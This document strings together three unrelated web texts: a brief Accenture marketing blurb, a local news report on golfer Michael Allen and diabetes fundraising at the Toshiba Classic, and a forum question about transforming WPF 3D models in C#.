Accenture's solutions can accommodate an adaptable business strategy, operating model and solution architecture. These solutions also provide the necessary flexibility, built on scalable platforms to meet future needs and growth opportunities and respond to evolving environmental challenges, including new regulatory requirements to seize a competitive advantage.


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A key aspect to the Toshiba Classic is money raised for charity. That is certainly the case during the 18th annual Toshiba Classic at Newport Beach Country Club this week.
The charity hits home for Michael Allen, who has had a nice start this year on the Champions Tour. Allen's 14-year-old daughter, Michelle, has Type 1 diabetes.
For the second straight year the Toshiba's main beneficiary for charity is the Mary & Dick Allen Diabetes Center of Hoag Hospital.
Michael Allen, who has no relation to Mary & Dick Allen, was given a tour of the diabetes center in Newport Beach Thursday morning. He also offered any help he could provide in the future or at next year's Toshiba.
Allen knows and has dealt first-hand with the lifelong disease that has high levels of sugar in the blood.
He has contributed largely to the Juvenile Diabetes Research Foundation and has held golf events to raise money for JDRF.
Michael Allen said he enjoyed his tour of the diabetes center and was impressed with its focus on education to its patients.
"It's learning how to deal with [Type 1 diabetes] and how the family copes with it," he told the Champions Tour staff. "There are so many things that go with it. It's a lifetime commitment. They focus on education.
Michael Allen also enjoys this week, helping raise money for the diabetes center.
"It's a nice thing," he said. "It's our passion."
Michael Allen has had two top-three finishes out of three starts this year on the Champions Tour.
He finished tied for third at the Mitsubishi Electric Championship at Hualalai Jan. 22 and at the Allianz Championship Feb. 12. He finished tied for 16th at the ACE Group Classic Feb. 19.
The winners of the Toshiba Classic Pro-Am had some local flavor, as members from Cleveland Golf, including Greg Hopkins of Newport Beach, won the two-day Low Gross. Peter Jacobsen, who aced No. 8, was the pro on Wednesday and Hopkins played Thursday.
Chris Beck, Rick Lehman, Don Reino and Tony Cannon were the amateurs. Beck is an Estancia High alumnus.
Twitter: @SteveVirgen


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I'm new to WPF, and I'm trying to understand the underlying architecture, so please correct me if I'm wrong:
As far as I know, there are three possibilities to dynamically transform a GeometryModel3D during runtime:
a) Set the model's Transform-property to a Transform3DGroup once, to which you add new / duplicate Transformations.
b) Cast the model's Transform-property as a MatrixTransform3D and multiply its matrix with the Value-property of a Transformation (which i guess is pretty much case (a) )
c) Leave the Transform-property as a identity matrix and instead transform the model's Geometry.Positions property directly (provided you use a MeshGeometry3D) like such:
On first glance, option (c) seems like the best (though not most intuitive) choice, especially when you need the actual positions of the model(s); for example to calculate hit-detection.Code:int i; MeshGeometry3D mesh; mesh = (SomeModel.Geometry as MeshGeometry3D); for (i = 0; i < mesh.Positions.Count; i++) { mesh.Positions[i] = SomeTransform.Transform( mesh.Positions[i]); }
Is there another way to easily access a model's current, transformed position(s)? And why does WPF transform a model's own space instead of just the actual coordinates?
Kind regards, Frank